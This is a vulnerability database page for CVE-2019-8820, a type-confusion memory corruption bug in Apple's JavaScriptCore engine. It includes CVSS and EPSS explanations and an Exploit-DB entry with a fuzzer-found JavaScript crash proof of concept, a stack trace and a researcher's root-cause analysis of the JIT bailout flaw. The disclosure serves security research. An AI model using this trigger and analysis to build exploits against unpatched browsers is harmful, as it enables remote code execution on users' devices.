CVE-2019-8820 Detail

CVE-2019-8820

Score / Severity

8.8

High

CVE Descriptions

Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.8	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 47590

Publication date : 2019-11-04 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

The following sample was found by Fuzzilli and then slightly modified. It crashes JSC in debug builds: function main() { const v2 = [1337,1337]; const v3 = [1337,v2,v2,0]; Object.__proto__ = v3; for (let v10 = 0; v10 < 1000; v10++) { function v11(v12,v13) { const v15 = v10 + 127; const v16 = String(); const v17 = String.fromCharCode(v10,v10,v15); const v19 = Object.shift(); function v23() { let v28 = arguments; } const v29 = Object(); const v30 = v23({},129); const v31 = [-903931.176976766,v17,,,-903931.176976766]; const v32 = v31.join(""); try { const v34 = Function(v32); const v35 = v34(); for (let v39 = 0; v39 < 127; v39++) { const v41 = isFinite(); let v42 = isFinite; function v43(v44,v45,v46) { } const v47 = v41[4]; const v48 = v47[64]; const v49 = v35(); const v50 = v43(); const v51 = v34(); } } catch(v52) { } } const v53 = v11(); } } noDFG(main); noFTL(main); main(); Crashes with: ASSERTION FAILED: cell->inherits(*cell->JSC::JSCell::vm(), std::remove_pointer<T>::type::info()) ../../Source/JavaScriptCore/runtime/WriteBarrier.h(58) : void JSC::validateCell(T) [T = JSC::JSFunction *] 1 0x108070cb9 WTFCrash 2 0x103907f0b WTFCrashWithInfo(int, char const*, char const*, int) 3 0x106c0900f void JSC::validateCell<JSC::JSFunction*>(JSC::JSFunction*) 4 0x106c0275f JSC::WriteBarrierBase<JSC::JSFunction, WTF::DumbPtrTraits<JSC::JSFunction> >::set(JSC::VM&, JSC::JSCell const*, JSC::JSFunction*) 5 0x10705a727 JSC::DirectArguments::setCallee(JSC::VM&, JSC::JSFunction*) 6 0x107084753 operationCreateDirectArgumentsDuringExit 7 0x4d8af2e06484 8 0x4d8af2e034c3 9 0x1078661b7 llint_entry 10 0x107848f70 vmEntryToJavaScript 11 0x107740047 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) 12 0x10773f650 JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) 13 0x107a9afc5 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) 14 0x1039549a6 runWithOptions(GlobalObject*, CommandLine&, bool&) 15 0x10392a10c jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const 16 0x103909aff int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&) 17 0x103908893 jscmain(int, char**) 18 0x10390880e main 19 0x7fff79ad63d5 start The assertion indicates a type confusion. In particular, setCallee stores a JSCell into a WriteBarrier<JSFunction> which is not actually a JSFunction, triggering this assertion. Below is my preliminary analysis of the bug. When DFG compiles v11, it decides to inline v23 and the isFinite function. The relevant parts of the resulting DFG graph (with many omissions) follow: # Inlined v23 2 0: --> v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)> 38 2 0: 207:< 1:-> GetScope(Check:Untyped:@169, JS|PureInt, R:Stack(-23), bc#1, ExitValid) 39 2 0: 208:<!0:-> MovHint(Check:Untyped:@207, MustGen, loc30, R:Stack(-23), W:SideState, ClobbersExit, bc#1, ExitValid) 40 2 0: 209:< 1:-> SetLocal(Check:Untyped:@207, loc30(QC~/FlushedJSValue), R:Stack(-23), W:Stack(-31), bc#1, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#3, ExitValid) predicting None 44 2 0: 213:< 1:-> CreateDirectArguments(JS|PureInt, R:Stack,Stack(-23),HeapObjectCount, W:HeapObjectCount, Exits, ClobbersExit, bc#7, ExitValid) 45 2 0: 214:<!0:-> MovHint(Check:Untyped:@213, MustGen, loc32, R:Stack(-23), W:SideState, ClobbersExit, bc#7, ExitInvalid) 46 2 0: 215:< 1:-> SetLocal(Check:Untyped:@213, loc32(SC~/FlushedJSValue), R:Stack(-23), W:Stack(-33), bc#7, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#9, ExitValid) predicting None 2 0: <-- v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)> 4 0: Block #4 (bc#317): (OSR target) 24 4 0: 322:< 1:-> JSConstant(JS|PureInt, Weak:Object: 0x1078e4000 with butterfly 0x18052e8408 (Structure %C0:global), StructureID: 40546, bc#347, ExitValid) 27 4 0: 325:< 1:-> SetLocal(Check:Untyped:@322, loc30(DE~/FlushedJSValue), W:Stack(-31), bc#347, exit: bc#354, ExitValid) predicting None # Inlined isFinite() 4 0: --> isFinite#DJEgRe:<0x1078a4640 (StrictMode), bc#362, Call, known callee: Object: 0x1078cfd50 with butterfly 0x0 (Structure %Cm:Function), StructureID: 63290, numArgs+this = 1, numFixup = 1, stackOffset = -38 (loc0 maps to loc38)> 37 4 0: 335:< 1:-> JSConstant(JS|PureInt, Undefined, bc#0, ExitValid) 38 4 0: 336:<!0:-> MovHint(Check:Untyped:@322, MustGen, loc32, W:SideState, ClobbersExit, bc#0, ExitValid) 41 4 0: 339:< 1:-> SetLocal(Check:Untyped:@322, loc32(FE~/FlushedJSValue), W:Stack(-33), bc#0, ExitValid) predicting None Note that some bytecode registers (locX) are reused to hold different values in this code. The DFGPhantomInsertionPhase is responsible for identifying bytecode registers (locX) that have to be recovered during a bailout and placing Phantom nodes into the IR to ensure the required DFG values are alive so the bytecode registers can be restored from them. When the DFGPhantomInsertionPhase phase runs on this code and wants to determine the values needed for a bailout somewhere at the start of the try block, it decides that loc32 would have to be restored as it is assigned above but still used further down (in the inlined code of isFinite). As such, it inserts a Phantom node. When the bailout then actually happens (presumably because the `new Function()` fails), loc32 is attempted to be restored (by then, CreateDirectArguments has been replaced by a PhantomCreateDirectArguments which doesn't actually create the arguments object unless a bailout happens), resulting in a call to operationCreateDirectArgumentsDuringExit. This call requires the value of `callee` as argument. As such, the callee value is reconstructed as well. In the inlined callframe, the callee value is expected to be stored in loc30 (I think). However, by the time the bailout happens, loc30 has been reused, in this case by storing the global object into it. As such, the code that recovers the values (incorrectly) restores the callee value to the global object and passes it to operationCreateDirectArgumentsDuringExit. When this reference is then stored into a WriteBarrier<JSFunction> during a call to setCallee, an assertion is raised in debug builds. It is not clear to me at which point a different decision should have been made here. Unfortunately, it is quite tedious to manually modify this sample as most changes to it will quickly break the specific bytecode register allocation outcome required to trigger the bug. I could imagine this bug to be exploitable if the invalid callee value is somehow subsequently accessed by code, e.g. user supplied code, the GC, or other parts of the engine that inspect bytecode registers, and assumed to be a JSFunction*. However, I have not verified that this is possible.